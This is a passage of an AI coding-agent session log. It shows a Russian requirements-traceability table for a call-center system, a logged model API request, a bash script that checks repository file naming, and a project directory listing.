\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 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\u00a74.5.3.4@209-213; \u00a74.6.5.2@478-480 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.1@194-203; \u00a74.5.3.4@209-213; \u00a74.6.5.2@478-480 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=33.3% |\\n| 61 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0431\u0437\u0432\u043e\u043d\u0430 \u043f\u043e API \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.19@414-416 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.6.6@268-271; \u00a711.4@345-366 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.6.6@268-271; \u00a711.4@345-366 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(\u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f, \u043b\u043e\u0433\u0438\u043d/\u043f\u0430\u0440\u043e\u043b\u044c) | \u043f\u0443\u0441\u0442\u043e; \u2014 | \u0414\u0430; \u00a74.6.3.1@448-452; \u00a74.6.3.5@470-471; \u00a73@5-6 | \u0414\u0430; \u00a74.6.3.1@448-452; \u00a74.6.3.5@470-471; \u00a73@5-6 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 102 | - \u0440\u0430\u0431\u043e\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0437\u0432\u043e\u043d\u0430 - \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432 | \u043f\u0443\u0441\u0442\u043e; \u2014 | \u0414\u0430; \u00a73.3@17-20; \u00a73.5@28-32; \u00a75@46-49 | \u0414\u0430; \u00a73.3@17-20; \u00a73.5@28-32; \u00a75@46-49 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 115 | - \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u044c \u043d\u043e\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u043e\u0431\u0437\u0432\u043e\u043d\u0435 (\u043a\u0430\u0436\u0434\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u2026 | \u0414\u0430; \u00a74.5.19@414-416 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 163 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 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\u0440\u0435\u0447\u0438 \u0432 \u0437\u0430\u043f\u0438\u0441\u044f\u0445 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432\u2026 | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a77.1.1@104-105; \u00a716.3@490-498 | \u0414\u0430; \u00a77.1.1@104-105; \u00a716.3@490-498 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 173 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0447\u044c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 85% \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.4@226-231 | \u041d\u0435\u0442; \u2014 | \u041d\u0435\u0442; \u2014 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 174 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c, \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0442\u044c \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 \u043a\u043b\u0438\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a73.2@14-16; \u00a77.1.1@104-105 | \u0414\u0430; \u00a73.2@14-16; \u00a77.1.1@104-105 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 177 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u0430: | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a74.1@62-69; \u00a74.5.3.1@194-203 | \u0414\u0430; \u00a74.1@62-69; \u00a74.5.3.1@194-203 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 182 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u0430 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c 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184 | \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432\u2026 | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a74.2@60-64; \u00a710@105-107 | \u0414\u0430; \u00a74.2@60-64; \u00a710@105-107 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 187 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 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\u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c\u0438 \u0432 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 Telegram \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043a\u043e\u043b\u043b-\u0442\u0440\u0435\u043a\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@293-297; \u00a74.2.3@79 | \u0414\u0430; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@293-297; \u00a74.2.3@79 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 302 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 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\u00a74.5.11.2.2@297-309; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.2.3.4@97; \u00a74.5.11.2.2@297-309; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 304 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0447\u0430\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2@132-133 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2@132-133 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 306 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0451\u043c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430 \u0438\u0437 Max \u0438 Telegram (\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@309-315; \u00a74.5.11.2.2@324 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@309-315; \u00a74.5.11.2.2@324 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 312 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u043e\u043d\u043b\u0430\u0439\u043d \u0447\u0430\u0442 (\u0447\u0430\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2.3.4@97; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2.3.4@97; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 313 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0437\u0430\u043a\u0430\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@289-293; \u00a74.2.3.3@87; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@289-293; \u00a74.2.3.3@87; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 314 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0444\u043e\u0440\u043c\u0443 \u043b\u0438\u0434\u043e\u0433\u0435\u043d\u0435\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | \u0414\u0430; \u00a74.5.11.2.2@293-297; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@293-297; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 315 | \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043a\u0430\u043d\u0430\u043b\u043e\u043c \\\"\u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430\\\". \u0421\u0438\u0441\u0442\u0435\u043c\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | \u0414\u0430; \u00a74.5.11.2.2@339-345; \u00a710.1@296-320; \u00a715.2@438-451 | \u0414\u0430; \u00a74.5.11.2.2@339-345; \u00a710.1@296-320; \u00a715.2@438-451 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 318 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0432\u043e\u043d\u043a\u0430. | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a710.6@104; \u00a76.11@66 | \u0414\u0430; \u00a710.6@104; \u00a76.11@66 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 319 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0437\u0432\u043e\u043d\u043a\u043e\u0432. | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a7\u2014@52; \u00a710@100 | \u0414\u0430; \u00a7\u2014@52; \u00a710@100 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 321 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u044b\u0431\u043e\u0440 \u043d\u043e\u043c\u0435\u0440\u0430 \u0434\u043b\u044f \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u0438\u0437 \u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0439 \u0451\u043c\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a76.1@61-62; \u00a74.5.19@414-416 | \u0414\u0430; \u00a76.1@61-62; \u00a74.5.19@414-416 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:21.959Z] [INFO]       }\n[2026-09-29T07:46:21.959Z] [INFO]     ]\n[2026-09-29T07:46:21.959Z] [INFO]   },\n[2026-09-29T07:46:21.959Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"uuid\": \"5ec68f7e-de91-498a-b66c-f0680ab8cdb9\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:21.767Z\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:21.959Z] [INFO] }\n[2026-09-29T07:46:21.968Z] [STDOUT] [log_285801] sending request {\n[2026-09-29T07:46:21.972Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:21.976Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.978Z] [STDOUT]   options: {\n[2026-09-29T07:46:21.982Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:21.985Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:21.990Z] [STDOUT]     body: {\n[2026-09-29T07:46:21.993Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:21.997Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:22.005Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:22.010Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:22.015Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:22.018Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:22.021Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:22.026Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:22.031Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:22.034Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:22.037Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:22.039Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:22.044Z] [STDOUT]     },\n[2026-09-29T07:46:22.047Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:22.049Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:22.052Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:22.055Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:22.058Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:22.062Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:22.067Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:22.070Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:22.073Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:22.075Z] [STDOUT]       removeEventListener: [Function: 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\\\"${BASH_SOURCE[0]}\\\")/..\\\" && pwd)\\\"\\ncd \\\"$ROOT_DIR\\\"\\n\\nfailures=0\\n\\nfail() {\\n  printf 'ERROR: %s\\\\n' \\\"$1\\\" >&2\\n  failures=$((failures + 1))\\n}\\n\\nis_exception() {\\n  local basename=\\\"$1\\\"\\n\\n  case \\\"$basename\\\" in\\n    README.md | \\\\\\n    CHANGELOG.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    CODE_OF_CONDUCT.md | \\\\\\n    LICENSE | \\\\\\n    LICENSE.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    *-registry.md | \\\\\\n    *-index.md | \\\\\\n    *-Index.md)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\n# Reference Research Pattern (Experimental, docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n# a multi-file research module lives in research/// and numbers\\n# its files by reading order (00, 10, 20, ...), not by date. The module's files have\\n# no single meaningful date \u2014 they are updated on different cycles by design \u2014 so the\\n# chronology stays in frontmatter `updated`. The exception is deliberately narrow: it\\n# applies only inside a directory that declares itself a module by holding a 00-*.md\\n# entry point. Scope of the exception is an open question for the founder (RFC P6).\\nis_reference_pattern_module_file() {\\n  local file=\\\"$1\\\"\\n  local basename=\\\"${file##*/}\\\"\\n  local dir=\\\"${file%/*}\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^(00|10|20|30|40|50)-[a-z0-9]+(-[a-z0-9]+)*\\\\.md$ ]] || return 1\\n  compgen -G \\\"$dir/00-*.md\\\" >/dev/null || return 1\\n  return 0\\n}\\n\\nis_daily_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_monthly_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}- ]] && return 1\\n  [[ \\\"$basename\\\" =~ ^([0-9]{4}|[0-9]{4}-[0-9]{2})-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_adr_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-adr-[0-9]{3}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nvalidate_file() {\\n  local file=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n  local basename=\\\"${file##*/}\\\"\\n\\n  if is_exception \\\"$basename\\\"; then\\n    return\\n  fi\\n\\n  if [[ \\\"$file\\\" == research/* ]] && is_reference_pattern_module_file \\\"$file\\\"; then\\n    return\\n  fi\\n\\n  if ! \\\"$predicate\\\" \\\"$basename\\\"; then\\n    fail \\\"chronological markdown file must use $expected_format: $file\\\"\\n  fi\\n}\\n\\nvalidate_tree() {\\n  local dir=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n\\n  [[ -d \\\"$dir\\\" ]] || return 0\\n\\n  while IFS= read -r file; do\\n    validate_file \\\"$file\\\" \\\"$predicate\\\" \\\"$expected_format\\\"\\n  done < <(find \\\"$dir\\\" -type f -name '*.md' | sort)\\n}\\n\\nvalidate_tree \\\"research\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/analysis\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/report\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/audit\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\n# docs/rfc/ intentionally not chronologically validated on the Hub: per\\n# rfc-structure-standard.md the Hub RFC rule is `YYYY-MM-DD-rfc-*` for new dated\\n# RFCs while legacy names stay unchanged (descriptive). The `YYYY-MM`/`YYYY`\\n# monthly rule (standards/file-naming.md) is the spoke rule; enforcing it here\\n# would reject the Hub's own standard-compliant legacy RFC corpus after the\\n# ADR-007/B-048 migration.\\nvalidate_tree \\\"docs/adr\\\" \\\"is_adr_chronological_name\\\" \\\"YYYY-MM-adr-NNN-name.md\\\"\\n\\n# Evidence files under the canonical exp// container are snapshots,\\n# not standalone research reports, so their names are intentionally excluded\\n# from the chronological report rule. Structure is enforced separately.\\n\\nif (( failures > 0 )); then\\n  printf 'File naming validation failed with %d error(s).\\\\n' \\\"$failures\\\" >&2\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr/:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis/:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc/:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\",\n[2026-09-29T07:46:22.225Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:22.225Z] [INFO]       }\n[2026-09-29T07:46:22.225Z] [INFO]     ]\n[2026-09-29T07:46:22.225Z] [INFO]   },\n[2026-09-29T07:46:22.225Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:22.225Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"uuid\": \"691aa034-1836-47be-9fda-fc5e95c9fcce\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:22.206Z\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:22.225Z] [INFO]     \"stdout\": \"#!/usr/bin/env bash\\nset 